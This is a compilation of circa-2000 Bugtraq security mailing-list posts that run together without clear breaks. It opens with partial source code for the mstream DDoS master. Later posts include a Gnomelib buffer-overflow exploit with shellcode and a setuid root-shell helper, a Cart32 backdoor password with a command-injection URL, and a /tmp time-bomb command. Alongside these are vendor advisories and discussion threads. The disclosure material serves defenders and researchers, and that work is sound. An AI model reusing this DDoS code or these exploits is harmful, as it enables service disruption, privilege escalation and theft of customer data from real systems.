Source code to mstream, a DDoS tool

[Anonymous User]

It's been alleged that this source code, once compiled, was used by
persons unknown in the distributed denial of service (DDoS) attacks
earlier this year.  Obviously such a thing cannot be confirmed aside from
through a process of targeted sites making an appropriate comparison
between the traffic this software would generate and the traffic they
actually received.

The code was made available anonymously to us (ie we didn't write it and
don't know who did) and is hereby made available anonymously to AusCERT,
CERT, CIAC, Mr David Dittrich (who carried out analyses on binary versions
of the trinoo, tfn2k and stacheldracht DDoS tools around the 1999/2000 New
Year period), as well as several other "full disclosure" mailing
lists/forums.  It's not known if this source code has seen the light of
day prior to now, so your mileage will definitely vary.

-Anon

PS: Sad to think that the hopes of the US economy ride unknowingly on
the back of an inability of overvalued, overrated "dot.coms" to protect
against someone writing such a simple piece of code like this and using
it against them.  Companies used to have contingency plans to deal with
adversity.  Now they use the long, flailing arm of the law (the FBI) and
the excuse of "hackers" to conceal their depthless technology and security
planning from the rigors of Wall Street and the NASDAQ.

PPS: Global Psychedelic Trance rocks!


Makefile:



CC = gcc

# -g is so i can debug it better :P
# -Wall so i can be happy

CFLAGS = -g -Wall

all: master server

clean:
rm -f master server

master: master.c
$(CC) $(CFLAGS) -o master master.c

server: server.c
$(CC) $(CFLAGS) -o server server.c




master.c



/* spwn */

#define PASSWORD "sex"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)

#define MAX_IP_LENGTH 17
#define MAX_HOST_LENGTH 200

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* prototypes for my functions */
void sighandle (int);
int maxfd (int, int);
void prompt (int);
void tof (char *);
void fof (char *);
void send2server (u_long, char *, ...);
void forkbg (void);
void nlstr (char *);
void sendtoall (char *, ...);
char *inet_ntoa (struct in_addr);
u_long inet_addr (const char *);
int findfree (void);
/* end of prototypes */


typedef struct _socks {
   int fd;
   int opts;
   int idle;
   char *ip;
} socks;

socks users[MAXUSERS];

int main (int argc, char *argv[])
{
 fd_set readset;
 int i, tcpfd, udpfd, socksize, pongs = 0;
 struct sockaddr_in udpsock, tcpsock, remotesock;
 struct timeval t;
 char ibuf[1024], obuf[1024], *arg[3];

   signal(SIGINT, sighandle);
   signal(SIGHUP, sighandle);
   signal(SIGSEGV, sighandle);

   socksize = sizeof(struct sockaddr);

   if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  perror("socket");
  exit(0);
   }

   if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
  perror("socket");
  exit(0);
   }

   tcpsock.sin_family = AF_INET;
   tcpsock.sin_port = htons(MASTER_TCP_PORT);
   tcpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&tcpsock.sin_zero, 0, 8);

   if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
  perror("bind");
  exit(0);
   }

   if (listen(tcpfd, MAXUSERS+1) == -1) {
  perror("listen");
  exit(0);
   }

   i = 1;

   if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
  perror("setsockopt");
  exit(0);
   }

   i = 1;

   if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
  perror("setsockopt");
  exit(0);
   }

   if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
  perror("fcntl");
  exit(0);
   }

   udpsock.sin_family = AF_INET;
   udpsock.sin_port = htons(MASTER_UDP_PORT);
   udpsock.sin_addr.s_addr = INADDR_ANY;
   memset(&udpsock.sin_zero, 0, 8);

   if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
  perror("bind");
  exit(0);
   }

   i = 1;

   if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
  perror("setsockopt");
  exit(0);
   }

   i = 1;

   if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
  perror("setsockopt");
  exit(0);
   }

   for (i = 0 ; i <= MAXUSERS ; i++) {
  users[i].opts = (0 & ~USED);
   }


   forkbg();

   t.tv_sec = 2;
   t.tv_usec = 1;

   for (;;) {

  for (i = 0 ; i <= MAXUSERS ; i++)
if (users[i].opts & USED)
  if ((time(0) - users[i].idle) > 420) {
 memset(&obuf, 0, sizeof obuf);
 sprintf(obuf, "\nYou're too idle !\n");
 send(users[i].fd, &obuf, strlen(obuf), 0);

Re: aaa_base still vulnerable after upgrade

[Matthias Andree]

[EMAIL PROTECTED] (Marc Heuse) writes:

> > Isn't it embarrassing to announce fixes which don't even touch the
> > _vulnerable_ packages?
>
> it is true that the rpm does not fix the problem. the reason: the security
> update rpm building failed for 6.2 for unknown reason, which will be
> fixed.

I don't care why it failed. Fix the REASON for the failure.

> The updates for 6.3 and 6.4 do work and fix this and another security
> problem.
> You can see that easily by a look at the filenames:

I see that the filenames are an obnoxious mess. 6.3 has "2000.1.3"
version names for a package built in April. I see that 2000 sorts BEFORE
99. This is annoying since it makes semiautomatic RPM updates from the
update directories on your servers a major hassle unless you're going to
implement AI parsers.

> > It expresses that SuSE still are not familiar with security, and they
> > do not regularly audit their programs for security issues.
>
> thank you very much, but I think it is completely the other way around.

There is no point in discussing this. One simply does not code rm -f
$DEL_FILE, but rm -f "$DEL_FILE", or better, not even mess with so much
scripts if a simple find will do (see the announcement).

Still, SuSE 6.2 has an unfixed inetd.rpm (see
http://cr.yp.to/docs/inetd.html for a working exploit). The problem has
been reported here more than once. I did not check if this affects 6.3
or 6.4 as well since I don't run those versions.

> > touch "/tmp/x /etc/rc.config"
>
> btw have you ever tried out this command? It won't work. A filename is not
> allowed to have a slash in it's name ...

That's correct, I missed that (fails with 'no such file or directory'
since there is no "/tmp/x " directory here). Still, you can delete
things in the root directory, which is NOT correct, plus, the script
will not be able to delete files the names of which (-> "no such file or
directory") contain blanks.

--
Matthias Andree

Re: Solaris 7 x86 lpset exploit.

[der Mouse]

>>set noexec_user_stack = 1

> [...], there is a reason, why SUN does enable stack execution by
> default, if i am correctly informed this is due to some fortran or
> rare/old compiler issue, and might break some fortran or other alien
> language code...

It'll also break gcc's nested function support, since it's implemented
with stack trampolines.  (It doesn't *have* to be; in principle
function pointers could be widened to carry the same information.  But
doing that would break function-pointer compatability with code
compiled with other compilers...not to mention meaning that most
function pointers would carry a bunch of unnecessary-for-them extra
data around.  Another possible way around it would be to cause gcc to
keep part of the stack in the data segment, out of what the kernel
thinks of as the stack, and have it do its trampolines there.  This
runs into big problems with setjmp and other nonlocal exits, and
possibly with signal handlers as well.)

der Mouse

   [EMAIL PROTECTED]
 7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

Re: aaa_base still vulnerable after upgrade

[Marc Heuse]

> * Marc Heuse ([EMAIL PROTECTED]) [2000-04-29 16:28]:
> > __
> >
> > SuSE Security Announcement
> >
> > Package: aaabase < 2000.1.3
> > Date:Sat, 29 Apr 2000 14:03:28 GMT
> >
> > Affected SuSE versions: all
> > Vulnerability Type: remove any local file(s)
> > executing attacker supplied commands as non-root
>
> > 350cabc140a177dfa1909d356c982647  
>ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/aaa_base-99.9.8-0.i386.rpm
>
> Note that after applying this non-fix, SuSE 6.2 remains vulnerable (as
> it's not an update and the 99.9.8 version _IS_ vulnerable).
>
> Isn't it embarrassing to announce fixes which don't even touch the
> _vulnerable_ packages?

it is true that the rpm does not fix the problem. the reason: the security
update rpm building failed for 6.2 for unknown reason, which will be fixed.
The updates for 6.3 and 6.4 do work and fix this and another security
problem.
You can see that easily by a look at the filenames:

ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/aaa_base-2000.1.3-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/aaa_base-99.9.8-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/aaa_base-2000.1.3-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/aaa_base-2000.4.27-1.i386.rpm

the update for 6.2 is a different - and old - rpm ...
We will provide the correct 6.2 rpm asap.

> It expresses that SuSE still are not familiar with security, and they
> do not regularly audit their programs for security issues.

thank you very much, but I think it is completely the other way around.

> touch "/tmp/x /etc/rc.config"

btw have you ever tried out this command? It won't work. A filename is not
allowed to have a slash in it's name ...

Greets,
Marc
--
   Marc Heuse, SuSE GmbH, Schanzaeckerstr. 10, 90443 Nuernberg
   E@mail: [EMAIL PROTECTED]  Function: Security Support & Auditing
   "lynx -source http://www.suse.de/~marc/marc.pgp | pgp -fka"
Key fingerprint = B5 07 B6 4E 9C EF 27 EE  16 D9 70 D4 87 B5 63 6C

aaa_base still vulnerable after upgrade

[Matthias Andree]

* Marc Heuse ([EMAIL PROTECTED]) [2000-04-29 16:28]:
> __
>
> SuSE Security Announcement
>
> Package: aaabase < 2000.1.3
> Date:Sat, 29 Apr 2000 14:03:28 GMT
>
> Affected SuSE versions: all
> Vulnerability Type: remove any local file(s)
> executing attacker supplied commands as non-root

> 350cabc140a177dfa1909d356c982647  
>ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/aaa_base-99.9.8-0.i386.rpm

Note that after applying this non-fix, SuSE 6.2 remains vulnerable (as
it's not an update and the 99.9.8 version _IS_ vulnerable).

Isn't it embarrassing to announce fixes which don't even touch the
_vulnerable_ packages?

This is an offense against all paying and trusting clients and users.

It expresses that SuSE still are not familiar with security, and they
do not regularly audit their programs for security issues.

rm -f $DEL_FILE
DEL_DIR=`dirname $DEL_FILE`
if [ "$DEL_DIR" != "$TMP_DIR/." ] ; then
rmdir $DEL_DIR 2> /dev/null
fi

This expresses that the persons who wrote that script did not know what
they were doing and were totally unaware of files that contain spaces
or shell metacharacters in their names. Apart from that 2>/dev/null
(they'd better fixed the script than the symptoms), how about these
nice time bomb (try rebooting the machine after MAX_DAYS_IN_TMP days!):

touch "/tmp/x /etc/rc.config"

Better set MAX_DAYS_IN_TMP=0 in /etc/rc.config for now. Do it NOW.

--
Matthias Andree

Re: Alert: Cart32 secret password backdoor (CISADV000427) (fwd)

[Dildog]

That's because the 'wemilo' string is unicode.
Try looking for "w\0e\0m\0i\0l\0o\0".

Also, there's a version of 'strings' for NT that does both
ASCII strings and Unicode strings over at www.sysinternals.com
in the 'miscellaneous' section of their NT stuff.

-- dil


> Date: Fri, 28 Apr 2000 10:30:37 -0500
> From: Bill Borton <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: Re: Alert: Cart32 secret password backdoor (CISADV000427)
>
> Greetings,
>
> I have a client using cart32 2.6 so I went to the cart32clientlist url
> mentioned in the alert and sure enough if dumped the hashed password
> list.  I high-tailed it over there and open up the cart32.exe and was unable
> to find the "wemilo" password anywhere.  Now this could be my fault, heck
> I haven't touched a hex editor in ages, but still it prompted me to go back
> to the clientlist url and try some random charecters instead of "wemilo".
> Well, it happily dumped the client list again.  Just to make sure it wasn't
> just me I went out on the web and tried it at several sites running cart32
> (2.6 and 3.0) and all but one case it dumped the client list.  The one
> that didn't show a list DID show the open database messages so I think
> maybe it just wasn't set up.  I may be missing something here but it seems
> to me you don't have to even know the "backdoor password" to dump the
> client list and hashes.
>
> my 2 cents,
> -Bill
>

Windows NT/95/98/Possible Others Denial of Service Attack. Microsoft ODBC Database connectivity flaw.

[Chris Knipe]

Goodday Fellow Bugtraqers.

Today I come to you with a possible (And what seems to me to be quite easy
to reproduce) flaw in Microsoft's ODBC Database connectivity sources.  The
attack is HTML based and should proove quite interesting on web sites that
uses DSN or DBQ methods of connecting to SQL or (The easiest to attack)
Microsoft ACCESS Databases.

Summary:
===
A method is available to "lock up" the entire IIS Server, which will render
any installed applications under the Windows NT Option Pack useless.  All
web based applications (IIS Admin Services, Web Publishing Services, and
possible others) will lock up and stop responding to any web requests, or
any control requests to stop or start such services.  The vulnerability
could potentially allow a malicious web site developer to perform actions
under the ASP Programming language to render the web server useless to local
control, or content requests.

Status:
=
Microsoft has been informed about the suspecious behaviour of ACCESS and
ODBC Database Connectivity.

Issue:

The Microsoft ODBC Database connectivity allows for a potential flaw in the
connecting and disconnecting from databases (More related to Microsoft
ACCESS databses than any other).  Connecting to a second database without
disconnecting the first could possibly render the service useless and will
end up in the Administrator to reboot the server to regain control of such
services.

How more wildly database connections are made, how better the chances of
hitting the hole and attacking the system.  The risk posed by this
vulnerability is significantly restricted by the fact that the affected
database connection may be configured to "run in a seperate memory block" or
have special settings on the database that "might" secure this vulnerability
from accuring.  HOWEVER, in the most common installation and programming
methods, it is quite possible to still have an effective system.

Sample Code:
==
Consider the following scenario:

ODBC Connection Source Name:  miscdb
ODBC DataBase Type:  MS Access
ODBC Path:  d:\data\misc.mdb


ASP Programming:
<%
   set connVB = server.createobject("ADODB.Connection")
   connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"
%>



...lots of html removed...


<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"

mSQL = "arb SQL Statement"

set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof

Response.Write rsGlobal("resultfrommiscdb")

rsGlobal.movenext

wend

'rsGlobal.close
'set rsGlobal = nothing

'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>


<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"

mSQL = "arb SQL Statement"

set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof

Response.Write rsGlobal("resultfrommiscdb")

rsGlobal.movenext

wend

rsGlobal.close
set rsGlobal = nothing

connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>

In some cases, this will stall the IIS process, and CPU usage will jump to
100% utilization by the inetinfo.exe process.  To current date, the only
solution to my knowledge is to restart the computer.


Solution:
==
None that I am aware of.  Newest Service Packs, newest ODBC data sources,
they all seem to be affected.


Special Notes:
==
The attack is very "unpredictable".  By unpredictable, I mean that the exact
same code may work perfectly for 15 days, then all of a sudden, cpu usagage
will jump to 100% and the inetinfo process will be locked.  In recent
attempts to reproduce this attack to try and clarify as to what exactly is
causing this, I have connected up to 15 different SQL and Access Databases,
all with success.  The one time I reboot the NT server, and attempt to load
the pages up again, the process will lock.


Personal Viewpoints:
===
Microsoft's only means of connecting to databases is through ODBC or direct
file access (DSN and DBQ).  Whether you use ODBC or direct file access, the
process used is unstable.  Certainly with this unstability, having a ODBC
enabled web site will sees to function properly if it crashes or locks up
with only one user accessing the web site.  What happens when 1,000,000
people access the site on a daily basis?

I would recommend that databases be moved over from Microsoft ACCESS to
Microsoft's SQL Server, or a similar SQL server on Linux with support for
ODBC or other forms of connectivity.


Affected Version:

ODBC Version

SuSE Security Announcement - aaa_base

[Marc Heuse]

-BEGIN PGP SIGNED MESSAGE-

__

SuSE Security Announcement

Package: aaabase < 2000.1.3
Date:Sat, 29 Apr 2000 14:03:28 GMT

Affected SuSE versions: all
Vulnerability Type: remove any local file(s)
executing attacker supplied commands as non-root
SuSE default package:   yes
Other affected systems: unknown
__

A security hole was discovered in the package mentioned above.
Please update as soon as possible or disable the service if you are using
this software on your SuSE Linux installation(s).

Other Linux distributions or operating systems might be affected as
well, please contact your vendor for information about this issue.

Please note that we provide this information on an "as-is" basis only.
There is no warranty whatsoever and no liability for any direct, indirect or
incidental damage arising from this information or the installation of
the update package.
_

1. Problem Description

  aaa_base is the basic package which comes with any SuSE Linux installation.
  Two vulnerabilities have been found:

  1) The cron job /etc/cron.daily/aaa_base does a daily checking of files in
  /tmp and /var/tmp, where old files will be deleted if configured to do so.
  Please note this this feature is NOT activated by default

  2) Some system accounts have their homedirectories set to /tmp by default.
  These are the users games, firewall, wwwrun and nobody on a SuSE 6.4.

2. Impact

  1) If the /tmp cleanup is activated, any file or directory can be deleted
  by any local user

  2) If an attacker creates dot files in /tmp (e.g. bash profiles), these
  might be executed if someone uses e.g. "su - nobody" to switch to the
  nobody user. This can lead to a compromise of that userid.
  This vulnerability is present in several other unix systems as well -
  please check all!

3. Solution

  1) Update the package from our FTP server.

  2) The root user will receive a email with the accounts listed which have
  a homedirectory in /tmp. You have to fix this by hand, because some
  installations might break if they rely on information saved in the (unsafe)
  /tmp homedirectory.
  The email will give more information what to do.
__

Please verify these md5 checksums of the updates before installing:

369c48687807875e9b01f24b6e6bb061  
ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/aaa_base-2000.1.3-0.alpha.rpm
350cabc140a177dfa1909d356c982647  
ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/aaa_base-99.9.8-0.i386.rpm
1b0ccf6db229d6c45692588d826853b7  
ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/aaa_base-2000.1.3-0.i386.rpm
34ff11f9ffd877231fab6add4a1723dd  
ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/aaa_base-2000.4.27-1.i386.rpm
__

You can find updates on our ftp-Server:

  ftp://ftp.suse.com/pub/suse/i386/update for Intel processors
  ftp://ftp.suse.com/pub/suse/axp/update  for Alpha processors

or try the following web pages for a list of mirrors:
  http://www.suse.de/ftp.html
  http://www.suse.com/ftp_new.html

Our webpage for patches:
  http://www.suse.de/patches/index.html

Our webpage for security announcements:
  http://www.suse.de/security

If you want to report vulnerabilities, please contact
  [EMAIL PROTECTED]
__

SuSE has got two free security mailing list services to which any
interested party may subscribe:

[EMAIL PROTECTED]  - moderated and for general/linux/SuSE
  security discussions. All SuSE security
  announcements are sent to this list.

[EMAIL PROTECTED] - SuSE's announce-only mailing list.
  Only SuSE's security annoucements are sent
  to this list.

To subscribe to the list, send a message to:
 <[EMAIL PROTECTED]>

To remove your address from the list, send a message to:
 <[EMAIL PROTECTED]>

Send mail to the following for info and FAQ for this list:
 <[EMAIL PROTECTED]>
 <[EMAIL PROTECTED]>

_

  This information is provided freely to everyone interested and may
  be redistributed provided that it is not altered in any way.

Type Bits/KeyIDDate   User ID
pub  2048/3D25D3D9 1999/03/06 SuSE Security Team <[EMAIL PROTECTED]>

- --BEGIN PGP PUBLIC KEY BLOCK-
Version: 2.6.3i

mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQ

Re: unsafe fgets() in qpopper

[Qpopper Support]

This problem has been fixed in Qpopper 3.0.1b2, which is now available.

Note that the problem does not occur on Solaris systems (which use
Content-Length), nor  on systems which use mail or certain other
local delivery agents.  I was able to reproduce it on Linux using
mail.local.

Also, note that the patch supplied in the email message may not
function correctly and may cause messages to not be recognized.

SuSE 6.3 Gnomelib buffer overflow

[bladi]

/*
Gnomelib exploit by bladi & aLmUDeNa

All gnome apps have an exploitable buffer overflow
(gnomelib) when get DISPLAY environment variable.

Affected: S.u.S.E Linux: 6.3

Not vulnerable: RedHat 6.x
Linpus Linux release 6.3
Debian
  NoTe:
don't forget to put 6M in /tmp
-(6M.c)-
void main() {
setuid(geteuid());
setregid(getegid(), getegid());
system("/bin/bash");
}
-(6M.c)-

Bueno un saludo a todos los que nos conocen/quieren/odian,
bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*


[EMAIL PROTECTED]
[EMAIL PROTECTED]
*/
  #include 
#include 
#define NOP  0x90
#define RANFROM -1400
#define RANTO-300

int i,x;
char *ptr;
unsigned long *ptr2;
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
char buffer[164];

main(int argc, char *argv[])
{  long get_sp(void)
{
__asm__("movl %esp,%eax\n");
}
printf (" jpuffver: 1.0  \n");
printf (" by \n");
printf (" bladi & aLmUDeNa\n\n");
if (argc < 2 )
{
printf(" Usage ./jpuff \n");
printf("Try: ./jpuff /opt/gnome/bin/sol => you gain
gid=40(game)\n");
exit(1);
}
for (x=RANFROM;x

Re: Alert: Cart32 secret password backdoor (CISADV000427)

[Knud Erik Højgaard]

confirmed. ( uuh..that no pass is needed..discovered by mistkae..forgotten
by stupidity...)

windows 4.10.1998 (no patches installed - i like to see what might happen
to me. people deserve a fair chance at crashing me - except that lame file
sent the other day smacking eudora. wisk i would be able to see the
sende..someone wanna show me ? im in the mood for retaliation..)..

Interernet explorer 4.0 version 4.72.3110 cipher strength 40 bit - update
versions; sp1

Yup i know this is obsolete since its a bug in the server side.but im drunk
& bored..and..who knows? might not work for someone...


At 10:30 28-04-00 -0500, you wrote:
>Greetings,
>
>I have a client using cart32 2.6 so I went to the cart32clientlist url
>mentioned in the alert and sure enough if dumped the hashed password
>list.  I high-tailed it over there and open up the cart32.exe and was unable
>to find the "wemilo" password anywhere.  Now this could be my fault, heck
>I haven't touched a hex editor in ages, but still it prompted me to go back
>to the clientlist url and try some random charecters instead of "wemilo".
>Well, it happily dumped the client list again.  Just to make sure it wasn't
>just me I went out on the web and tried it at several sites running cart32
>(2.6 and 3.0) and all but one case it dumped the client list.  The one
>that didn't show a list DID show the open database messages so I think
>maybe it just wasn't set up.  I may be missing something here but it seems
>to me you don't have to even know the "backdoor password" to dump the
>client list and hashes.
>
>my 2 cents,
>-Bill
>
>
>At 06:42 AM 4/27/00 +0100, you wrote:
>>Cerberus Information Security Advisory (CISADV000427)
>>http://www.cerberus-infosec.co.uk/advisories.shtml
>>
>>Released   : 27th April 2000
>>Name: Cart32 secret password backdoor
>>Affected Systems  : Any Win32 based web server using Cart32
>>   versions 3.0 (most uptodate) and 2.6 are
>>affected.
>>Issue : Attackers can run arbitary commands on the web
>>server
>>   and/or gain access to credit card
information.
>>Authors : David Litchfield ([EMAIL PROTECTED]) and
>>Mark Litchfield ([EMAIL PROTECTED])
>>
>>Description
>>***
>>The Cerberus Security Team has discovered a serious security hole in
>>McMurtrey/Whitaker & Associates, Inc's Win32 e-Commerce shopping cart,
>>namely, Cart32 (http://www.cart32.com/ ) that can only be described as a
>>blatant backdoor. Within cart32.exe, the main file that provides the cart's
>>functionality, there is a secret hidden password that can be used to gain
>>vital information such as other passwords and using these an attacker can
>>modify the shopping cart's properties so that arbitary commands may be run
>>on the server as well as gain access to customers' credit card details,
>>shipping addresses and other highly sensitive information.
>>
>>Details
>>***
>>Within cart32.exe there is a secret backdoor password of "wemilo" (found at
>>file offset 0x6204h) known internally as the Cart32Password. With knowledge
>>of this password an attacker can go to one of several undocument URLs such
>>as http://charon/scripts/cart32.exe/cart32clientlist and obtain a list the
>>passwords for each Cart32 client. (A client is essentially a shop site).
>>Although these passwords appear to be hashed they can still be used. For
>>example they can be embedded in a specially crafted URL that will allow the
>>attacker to prime the server to run an arbitrary command when an order is
>>confirmed:
>>
>>http://charon/scripts/c32web.exe?TabName=Cart32%2B&Action=Save+Cart32%2B+Tab
>>&SaveTab=Cart32%2B&Client=foobar
>>&ClientPassword=e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=&AdminPassword=&TabT
>>oSave=Cart32%2B&PlusTabToSave=
>>Run+External+Program&UseCMDLine=Yes&CMDLine=cmd.exe+%2Fc+dir+%3E+c%3A%5Cfile
>>.txt
>>
>>This URL will set the cart's properties to spawn a shell, perform a
>>directory listing and pipe the output to a file called file.txt on the root
>>of the C: drive when an order is confirmed. After doing this the attacker
>>would then create a spurious order and confirm it thus executing the
>>command. (Please note that the above URL is pertinent only to an internal
>>Cerberus server - password details and client info would need to be changed
>>to reflect the site in question).
>>
>>Further to this the Cerberus Security Team has found what is, perhaps, a
>>second backdoor. By going directly to the following URL
>>http://charon/scripts/c32web.exe/ChangeAdminPassword it is possible to
>>change the administrative password with out knowledge of the previous one.
>>
>>
>>Solution
>>
>>Cerberus recommends that the following steps be actioned immediately.
>>Cerberus has tested this in their labs and the Cart functionality will not
>>be broken by following these steps.
>>
>>1) Download a Hex Editor such as UltraEdit (http

Re: Cisco HTTP possible bug:

[Jim Duncan]

[EMAIL PROTECTED] writes:
> Summary of responces in this thread:
>
> Model IOS version Confirmed
> - --- --
> C2924XL   -   No
> C2900X11.2(8)SA1  No
> 7206  12.1(1a)T1  No
> 7206  12.0(9)SYes
> 5300  12.1(1.3)T  No
> 4000  11.0No
> 3640  12.0(7)TYes
> 2621  12.0(5)T1   Yes
> 2514  11.2(17)Yes
> 2501  12.0-4.TYes
> 2501  12.0(8) Yes

Thanks.  This is helpful.

If it's not too much trouble, it would be particularly useful if we knew
the image names for each test, e.g., c7200-inu-mz.111-24, since that tells
us a lot more about the content of the image and the platforms it runs on.
The image name is available in the output of a "show ver" in enable mode,
and it would mean adding an extra column to your table.

For example, I'm very curious about the 7206 running 12.0(9)S and the 5300
running 12.1(1.3)T.  From inspecting the code, I believe they should be
vulnerable, *if* they're running the affected image.  But I can't tell
that for certain without the image name.

Thanks again.

Jim


--
Jim Duncan, Product Security Incident Manager, Cisco Systems, Inc.

E-mail: <[EMAIL PROTECTED]>  Phone(Direct/FAX): +1 919 392 6209